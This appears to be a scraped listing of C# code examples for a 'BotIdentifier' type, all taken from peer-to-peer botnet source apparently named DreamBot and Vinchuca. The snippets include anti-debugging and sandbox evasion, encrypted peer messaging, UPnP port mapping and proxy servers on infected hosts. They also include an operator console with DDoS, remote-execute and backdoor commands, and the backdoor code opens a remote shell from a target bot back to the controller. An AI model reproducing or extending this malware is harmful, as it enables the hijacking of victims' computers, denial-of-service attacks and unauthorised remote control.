Example #1
0
 public void UpdatePeer(BotIdentifier botId)
 {
     if (_peers.ContainsKey(botId))
     {
         _peers[botId].Touch();
     }
 }
Example #2
0
 public void Punish(BotIdentifier botId)
 {
     if (_peers.ContainsKey(botId))
     {
         _peers[botId].DecreseReputation();
     }
 }
Example #3
0
        public DreamBotApp(int port, BotIdentifier id)
        {
            BotId = id;
            Logger.Info(0, "DreamBot [id: {0}] listenning on port {1}", BotId, port);

            _worker = new ClientWorker();
            _worker.QueueForever(AntiDebugging.CheckDebugger, TimeSpan.FromSeconds(1));
            _worker.QueueForever(AntiDebugging.CheckDebugging, TimeSpan.FromSeconds(0.3));

            _peerList = new PeerList(_worker);
            _peerList.DesparadoModeActivated += DesperateModeActivated;

            _listener = new MessageListener(port);
            _listener.UdpPacketReceived += EnqueueMessage;

            _comunicationManager = new ComunicationManager(_listener, _worker);
            _peersManager = new PeerManager(_comunicationManager, _peerList, _worker, BotId);
            _messagesManager = new MessageManager(_peersManager);

            _messagesManager.Register(0x00, MessageType.Request,  typeof(HelloMessage), new HelloMessageHandler(_peerList, _messagesManager), false);
            _messagesManager.Register(0x01, MessageType.Reply, typeof(HelloReplyMessage), new HelloReplyMessageHandler(_peerList, _messagesManager), true);
            _messagesManager.Register(0x02, MessageType.Request, typeof(GetPeerListMessage), new GetPeerListMessageHandler(_peerList, _messagesManager), true);
            _messagesManager.Register(0x03, MessageType.Reply, typeof(GetPeerListReplyMessage), new GetPeerListReplyMessageHandler(_peerList, _messagesManager), true);
            _messagesManager.Register(0xFF, MessageType.Special, typeof(InvalidMessage), new InvalidMessageHandler(_peerList), false);

            _socks5 = new Socks5Server(8009);
            _https = new HttpsProxyServer(8019);
            //_connectivityTester = new ConnectivityTester();
            //_connectivityTester.OnConnectivityStatusChanged += OnConnectivityStatusChanged;
        }
Example #4
0
        public Agent(int port, BotIdentifier id)
        {
            BotIdentifier.Id = id;
            Logger.Info("Vinchuca Agent [id: {0}] listenning on port {1}", BotIdentifier.Id, port);

            _worker = ClientWorker.Instance;
            _worker.QueueForever(AntiDebugging.CheckDebugger, TimeSpan.FromSeconds(1));
            _worker.QueueForever(AntiDebugging.CheckDebugging, TimeSpan.FromSeconds(0.3));
            _worker.QueueForever(SandboxDetection.CheckSandboxed, TimeSpan.FromSeconds(1));

            _peerList = new PeerList(_worker);
            _peerList.DesparadoModeActivated += DesperateModeActivated;


            if (IPAddressUtils.BehingNAT(IPAddressUtils.GetLocalIPAddress()))
            {
                var upnpSearcher = new UpnpSearcher();
                upnpSearcher.DeviceFound += (s, e) =>
                {
                    PublicIP = e.Device.GetExternalIP();
                    Logger.Verbose("External IP Address: {0}", PublicIP);
                    try
                    {
                        var externalPort = BotIdentifier.Id.GetPort();
                        BotIdentifier.EndPoint = new IPEndPoint(PublicIP, externalPort);
                        var device = e.Device;
                        device.CreatePortMap(new Mapping(Protocol.Udp, port, externalPort));
                        device.CreatePortMap(new Mapping(Protocol.Tcp, port, externalPort + 1));
                        device.CreatePortMap(new Mapping(Protocol.Tcp, port, externalPort + 2));
                    }
                    catch (MappingException ex)
                    {
                        Logger.Warn("UPnp - port mapping failed: {0} - {1}", ex.ErrorCode, ex.ErrorText);
                    }
                    finally
                    {
                        upnpSearcher.Stop();
                    }
                };
                upnpSearcher.Search();
            }

            _listener = new MessageListener(port);
            _listener.UdpPacketReceived += EnqueueMessage;
            _communicationManager        = new CommunicationManager(_listener, _worker);
            var peersManager = new PeerManager(_communicationManager, _peerList, _worker);

            _messagesManager           = new MessageManager(peersManager);
            peersManager.MessageSender = _messagesManager;

            RegisterMessageHandlers(peersManager);

            var externPort = BotIdentifier.Id.GetPort();

            _socks5             = new Socks5Server(externPort + 1);
            _https              = new HttpsProxyServer(externPort + 2);
            _connectivityTester = new ConnectivityTester();
            _connectivityTester.OnConnectivityStatusChanged += OnConnectivityStatusChanged;
        }
Example #5
0
        public void Send(Message message, BotIdentifier botId, ulong correlationId)
        {
            var messageId = _messageTypeMap[message.GetType()].MessageId;
            var payload   = message.Encode();

            LogMessaging(message, botId, true);
            _peerManager.Send(messageId, correlationId, 0, payload, botId);
        }
Example #6
0
        public static PeerInfo Parse(string line)
        {
            var parts = line.Split(new[] { '@', ':' });
            var id    = BotIdentifier.Parse(parts[0]);
            var ip    = IPAddress.Parse(parts[1]);
            var port  = int.Parse(parts[2]);

            return(new PeerInfo(id, new IPEndPoint(ip, port)));
        }
Example #7
0
 public static void CheckIfAlreadyRunning(BotIdentifier id)
 {
     try
     {
         var mutexId = string.Format("Global\\{{{0}}}", id);
         _mutex = new Mutex(true, mutexId);
         _mutex.ReleaseMutex();
     }
     catch
     {
         Environment.Exit(0);
     }
 }
Example #8
0
        public PeerManager(ComunicationManager comunicationManager, PeerList peerList, IWorkScheduler worker, BotIdentifier botId)
        {
            _comunicationManager = comunicationManager;
            _comunicationManager.PackageReceivedEventArgs += PackageReceivedEventArgs;
            _worker          = worker;
            _botId           = botId;
            _waitingForReply = new ReplyWaitManager(_comunicationManager);

            _worker.QueueForever(PurgeTimeouts, TimeSpan.FromSeconds(60));
            _peerList = peerList;

            _peerList.BrokenBotDetected += BrokenBotDetected;
        }
Example #9
0
        public static void LogMessaging(Message m, BotIdentifier botId, bool sending)
        {
            var messageType = m.GetType().Name;
            var bid         = botId.ToString();

            Logger.Verbose("[{0}] {1} {2,-24} {3,-5} {4} ",
                           sending ? "S" : "R",
                           sending ? "--->" : "<---",
                           messageType,
                           sending ? "to" : "from",
                           bid.Substring(0, Math.Min(12, bid.Length))
                           );
        }
Example #10
0
        public void Send(Message message, BotIdentifier botId, ulong correlationId = 0, short ttl = 0)
        {
            if (ttl < 0)
            {
                return;
            }

            var meta    = _messageTypeMap[message.GetType()];
            var payload = message.Encode();

            LogMessaging(message, botId, true);
            ClientWorker.Instance.Queue(() =>
                                        _peerManager.Send(meta, correlationId, ttl, payload, botId));
        }
Example #11
0
        public override void DecodePayload(BinaryReader br)
        {
            var len   = br.ReadInt16();
            var peers = new List <PeerInfo>(len);

            for (int i = 0; i < len; i++)
            {
                var botId    = new BotIdentifier(br.ReadBytes(BotIdentifier.Size));
                var ip       = new IPAddress(br.ReadBytes(4));
                var port     = br.ReadInt32();
                var peerInfo = new PeerInfo(botId, new IPEndPoint(ip, port));
                peers.Add(peerInfo);
            }
            Peers = peers.ToArray();
        }
Example #12
0
        public static void Main(string[] args)
        {
            var idbuf = new byte[16];
            new Random().NextBytes(idbuf);

            var id = new BotIdentifier(idbuf);
            var listenPort = 33333;
            var peers = new List<PeerInfo>();

            foreach (var arg in args)
            {
                var v = arg.Substring(1);
                switch (arg[0])
                {
                    case 'p':
                        int.TryParse(v, out listenPort);
                        break;
                    case 'c':
                        foreach (var peerInfo in v.Split(new[]{';'}))
                        {
                            peers.Add(PeerInfo.Parse(peerInfo));
                        }
                        break;
                    case 'i':
                        id = BotIdentifier.Parse(v);
                        break;
                }
            }

#if !DEBUG
            SystemInfo.CheckIfAlreadyRunning(id);
            AntiDebugging.CheckDebugger();
            SandboxDetection.CheckIfSandboxed();
#endif

            _bot = new DreamBotApp(listenPort, id);
            _bot.Bootstrap(peers);
            _bot.Run();
            var c = Console.ReadKey(true);
            while(c.Key != ConsoleKey.Spacebar)
            {
                _bot.Debug(c.Key);
                c = Console.ReadKey(true);
            }
        }
Example #13
0
        public static void Main(string[] args)
        {
            var hCmdWindow = GetConsoleWindow();

            ShowWindow(hCmdWindow, SwShow);

            var idbuf = new byte[16];

            new Random().NextBytes(idbuf);

            var id         = new BotIdentifier(idbuf);
            var listenPort = 33333;
            var peers      = new List <PeerInfo>();

            foreach (var arg in args)
            {
                var v = arg.Substring(1);
                switch (arg[0])
                {
                case 'p':
                    int.TryParse(v, out listenPort);
                    break;

                case 'c':
                    foreach (var peerInfo in v.Split(new[] { ';' }))
                    {
                        peers.Add(PeerInfo.Parse(peerInfo));
                    }
                    break;

                case 'i':
                    id = BotIdentifier.Parse(v);
                    break;
                }
            }
            agent = new Agent(listenPort, id);
            agent.Run();
            agent.Bootstrap(peers);

            new ManualResetEvent(false).WaitOne();
        }
Example #14
0
        public void CheckConfigurationFileVersion(short cfgVersion, BotIdentifier botId)
        {
            if (cfgVersion > ConfigurationFileVersion)
            {
                Logger.Verbose("Updating config file version {0} to {1} from bot {2}", ConfigurationFileVersion, cfgVersion, botId);
                var port           = new Random().Next(33000, 33999);
                var controllerIp   = BotIdentifier.EndPoint.Address;
                var serverEndpoint = new IPEndPoint(controllerIp, port);
                var server         = new TcpListener(serverEndpoint);
                server.Start();

                var message = new ShareFileMessage
                {
                    Path     = GetConfigFileNameFor(botId),
                    Endpoint = serverEndpoint
                };
                _messageManager.Send(message, botId);
                var client      = server.AcceptTcpClient();
                var stream      = client.GetStream();
                var reader      = new StreamReader(stream);
                var fileContent = reader.ReadToEnd();
                client.Close();
                server.Stop();
                var signer = new Signature();
                try
                {
                    var iosign          = fileContent.Length - (2 * Signature.Lenght);
                    var content         = fileContent.Substring(0, iosign);
                    var signatureBase64 = fileContent.Substring(iosign);
                    var signature       = Convert.FromBase64String(signatureBase64);
                    signer.Verify(Encoding.ASCII.GetBytes(content), signature);
                    File.WriteAllText(ConfigurationFileName, fileContent);
                    ConfigurationFileVersion = cfgVersion;
                }
                catch
                {
                    // ignored
                }
            }
        }
Example #15
0
 public byte[] EncodeMessage(Message message, BotIdentifier botIdentifier)
 {
     return(message.Encode());
 }
Example #16
0
 public PeerInfo(BotIdentifier botId, IPEndPoint endpoint)
 {
     BotId    = botId;
     EndPoint = endpoint;
     LastSeen = DateTimeProvider.UtcNow;
 }
Example #17
0
 public override void DecodePayload(BinaryReader br)
 {
     TargetBotId        = new BotIdentifier(br.ReadBytes(BotIdentifier.Size));
     ControllerEndpoint = new IPEndPoint(new IPAddress(br.ReadBytes(4)), br.ReadUInt16());
 }
Example #18
0
 public PeerInfo this[BotIdentifier botId]
 {
     get { return(_peers[botId]); }
 }
Example #19
0
 internal bool IsRegisteredBot(BotIdentifier botId)
 {
     return(_peers.ContainsKey(botId));
 }
Example #20
0
 public void CheckAgentVersion(short botVersion, BotIdentifier botId)
 {
     throw new NotImplementedException();
 }
Example #21
0
        internal void Send(MessageMetadata metadata, ulong correlationId, short ttl, byte[] payload, BotIdentifier peerBotId)
        {
            if (!_peerList.IsRegisteredBot(peerBotId) && (metadata.MessageId != MessageCode.Syn || metadata.MessageId != MessageCode.AckSyn))
            {
                Logger.Verbose("Cannot send message to unkown {0} bot", peerBotId);
                return;
            }
            var peerInfo = _peerList[peerBotId];

            byte[]    message;
            BotHeader header;

            do
            {
                var padding = RandomUtils.NextPadding();
                header = new BotHeader
                {
                    CorrelationId = correlationId == 0 ? RandomUtils.NextCorrelationId() : correlationId,
                    MessageId     = (short)metadata.MessageId,
                    PayloadSize   = (short)payload.Length,
                    Padding       = (short)padding.Length,
                    Ttl           = ttl == 0 ? RandomUtils.NextTtl() : ttl
                };

                var preambule = BufferUtils.Concat(header.Encode(), padding);
                message = BufferUtils.Concat(preambule, payload);
            } while (!PoW.IsEnough(message, 0, message.Length, metadata.RequiredWork));

            if (peerInfo.Handshaked)
            {
                message = Aes.Encrypt(message, 0, message.Length, peerInfo.EncryptionKey);
            }

            var endPoint = peerInfo.EndPoint;

            Logger.Verbose("{0}@{1} {2}", header.BotId, endPoint, header.CorrelationId);
            _communicationManager.Send(endPoint, message);
            if (correlationId == 0)
            {
                WaitingForReply.Add(new Package(endPoint, message, message.Length), header.CorrelationId);
            }
        }
Example #22
0
        public override int Invoke(IEnumerable <string> args)
        {
            try
            {
                var extra = Options.Parse(args);
                if (ShowHelp)
                {
                    Options.WriteOptionDescriptions(CommandSet.Out);
                    return(0);
                }
                if (string.IsNullOrEmpty(BotId))
                {
                    Console.WriteLine("commands: Missing required argument `--bot=BOT-IDENTIFIER`.");
                    Console.WriteLine("commands: Use `help backdoor` for details.");
                    return(1);
                }
                var port           = new Random().Next(33000, 33999);
                var serverEndpoint = new IPEndPoint(IPAddress.Loopback, port);
                var server         = new TcpListener(serverEndpoint);
                server.Start();

                var backdoorMessage = new BackdoorMessage()
                {
                    TargetBotId        = BotIdentifier.Parse(BotId),
                    ControllerEndpoint = new IPEndPoint(IPAddress.Parse("10.0.2.2"), port)
                };
                _agent.MessagesManager.Broadcast(backdoorMessage, 6);



                var client = server.AcceptTcpClient();
                var stream = client.GetStream();

                var writer = new StreamWriter(stream)
                {
                    AutoFlush = true
                };
                var reader = new StreamReader(stream);

                ThreadPool.QueueUserWorkItem(s1 =>
                {
                    var array = new char[1024];
                    try
                    {
                        int count;
                        while ((count = reader.Read(array, 0, array.Length)) != 0)
                        {
                            Console.Write(new string(array, 0, count));
                        }
                    }
                    catch (Exception e)
                    {
                        // ignored
                    }
                });

                ConsoleKeyInfo k;
                var            cursorLeft = 0;
                while (true)
                {
                    k = Console.ReadKey(true);
                    writer.Write(k.KeyChar);
                    Console.Write(k.KeyChar.ToString());
                    if (k.Key == ConsoleKey.Enter)
                    {
                        Console.CursorLeft -= cursorLeft;
                        cursorLeft          = 0;
                        writer.WriteLine();
                    }
                    else
                    {
                        cursorLeft++;
                    }
                }

                client.Close();
                server.Stop();
                return(0);
            }
            catch (Exception e)
            {
                //                _repl.Console.WriteLine("commands: {0}", CommandDemo.Verbosity >= 1 ? e.ToString() : e.Message);
                return(1);
            }
        }
Example #23
0
        public override int Invoke(IEnumerable <string> args)
        {
            try
            {
                var extra = Options.Parse(args);
                if (ShowHelp)
                {
                    Options.WriteOptionDescriptions(CommandSet.Out);
                    return(0);
                }
                if (extra.Count == 0)
                {
                    Console.WriteLine("commands: Missing required argument `BOT-IDENTIFIER`.");
                    Console.WriteLine("commands: Use `help backdoor` for details.");
                    return(1);
                }

                var botId        = extra[0];
                var targetBotId  = BotIdentifier.Parse(botId);
                var peerInfo     = _agent.PeerList[targetBotId];
                var controllerIp = IPAddressUtils.BehingNAT(peerInfo.EndPoint.Address)
                    ? IPAddressUtils.GetLocalIPAddress()
                    : _agent.PublicIP;

                var port           = new Random().Next(33000, 33999);
                var serverEndpoint = new IPEndPoint(controllerIp, port);
                var server         = new TcpListener(serverEndpoint);
                server.Start();

                var backdoorMessage = new BackdoorMessage()
                {
                    TargetBotId        = BotIdentifier.Parse(botId),
                    ControllerEndpoint = new IPEndPoint(controllerIp, port)
                };
                _agent.MessagesManager.Broadcast(backdoorMessage, 6);

                var client = server.AcceptTcpClient();
                var stream = client.GetStream();

                Console.WriteLine("Connected!");

                var writer = new StreamWriter(stream)
                {
                    AutoFlush = true
                };
                var reader = new StreamReader(stream);

                ThreadPool.QueueUserWorkItem(s1 =>
                {
                    var array = new char[1024];
                    try
                    {
                        int count;
                        while ((count = reader.Read(array, 0, array.Length)) != 0)
                        {
                            Console.Write(new string(array, 0, count));
                        }
                    }
                    catch (Exception e)
                    {
                        // ignored
                    }
                });

                var bgColor = Console.BackgroundColor;
                var fgColor = Console.ForegroundColor;
                //Console.BackgroundColor = ConsoleColor.Blue;
                Console.ForegroundColor = ConsoleColor.Cyan;

                Console.CursorVisible = true;
                ConsoleKeyInfo k;
                var            cursorLeft = 0;
                var            cmd        = "";
                while (cmd != "exit")
                {
                    k = Console.ReadKey(true);
                    if (k.Key == ConsoleKey.Enter)
                    {
                        Console.CursorLeft -= cursorLeft;
                        cursorLeft          = 0;
                        writer.Write('\n');
                        cmd = "";
                    }
                    else
                    {
                        cmd += k.KeyChar;
                        writer.Write(k.KeyChar);
                        Console.Write(k.KeyChar.ToString());
                        cursorLeft++;
                    }
                }

                client.Close();
                server.Stop();
                Console.BackgroundColor = bgColor;
                Console.ForegroundColor = fgColor;
                Console.WriteLine("\nbackdoor closed. Good bye, master!");
                Console.WriteLine();

                return(0);
            }
            catch (Exception e)
            {
                //                _repl.Console.WriteLine("commands: {0}", CommandDemo.Verbosity >= 1 ? e.ToString() : e.Message);
                return(1);
            }
        }
Example #24
0
 public IPEndPoint this[BotIdentifier botId]
 {
     get { return(_peers[botId].EndPoint); }
 }
Example #25
0
 internal void Punish(BotIdentifier botId)
 {
     _peerList.Punish(botId);
 }
Example #26
0
 private string GetConfigFileNameFor(BotIdentifier botId)
 {
     return("_tmp" + botId.ToString().Substring(0, 10));
 }
Example #27
0
        public static void Main(string[] args)
        {
            var idbuf = new byte[16];

            new Random().NextBytes(idbuf);

            var id         = new BotIdentifier(idbuf);
            var listenPort = 33333;
            var peers      = new List <PeerInfo>();

            foreach (var arg in args)
            {
                var v = arg.Substring(1);
                switch (arg[0])
                {
                case 'p':
                    int.TryParse(v, out listenPort);
                    break;

                case 'c':
                    foreach (var peerInfo in v.Split(new[] { ';' }))
                    {
                        peers.Add(PeerInfo.Parse(peerInfo));
                    }
                    break;

                case 'i':
                    id = BotIdentifier.Parse(v);
                    break;
                }
            }

            agent = new Agent(listenPort, id);
            agent.Run();
            agent.Bootstrap(peers);

            var console = new VirtualConsole(0, 20);

            ConsolesManager.Instance.SetFocus(console);
            Console.SetCursorPosition(0, 21);
            Console.Write(new string('=', Console.BufferWidth));
            var repl = new CommandLineReader(console);

            var suite = new CommandSet("vicha", null, console, console)
            {
                "usage: COMMAND [OPTIONS]+.",
                "Available commands are:",
                "",
                // { "v:", "verbosity", (int? v) => Verbosity = v.HasValue ? v.Value : Verbosity+1 },
                // Commands may also be specified
                new DDoSStartCommand(agent, repl),
                new DDoSStopCommand(agent, repl),
                new ExecuteCommand(agent, repl),
                new BackdoorCommand(agent, repl),
                new AddNodeCommand(agent, repl),
                new DebugCommand(agent, repl),
                new Command("clear", "Clear the screen")
                {
                    Run = x => repl.Clear()
                },
                new Command("exit", "Finished the control seesion and close the agent")
                {
                    Run = x => Environment.Exit(0)
                }
            };

            repl.NewCommand += (sender, eventArgs) =>
                               suite.Run(eventArgs.Command.Split(new [] { ' ' }, StringSplitOptions.RemoveEmptyEntries));
            repl.Run();
        }
Example #28
0
        public void Send(short messageId, ulong correlationId, short ttl, byte[] payload, BotIdentifier botId)
        {
            if (!_peerList.IsRegisteredBot(botId))
            {
                return;
            }

            var padding = RandomUtils.NextPadding();
            var header  = new BotHeader {
                CorrelationId = correlationId == 0 ? RandomUtils.NextCorrelationId() : correlationId,
                BotId         = botId,
                MessageId     = messageId,
                PayloadSize   = (short)payload.Length,
                Padding       = (short)padding.Length,
                Ttl           = ttl == 0 ? RandomUtils.NextTtl() : ttl
            };

            var message = BufferUtils.Concat(header.Encode(), padding);

            var rc4 = new Rc4(botId.ToByteArray());

            rc4.Encrypt(message);

            var now     = new TimeSpan(DateTime.UtcNow.Ticks);
            var minutes = now.TotalMilliseconds / (1000 * 60);
            var xor     = new Mod2(BitConverter.GetBytes(minutes));

            xor.Decrypt(message);

            var endPoint = _peerList[botId];

            Logger.Verbose(3, "{0}@{1} {2}", header.BotId, endPoint, header.CorrelationId);
            _comunicationManager.Send(endPoint, message);
            if (correlationId == 0)
            {
                _waitingForReply.Add(new Package(endPoint, message), correlationId);
            }
        }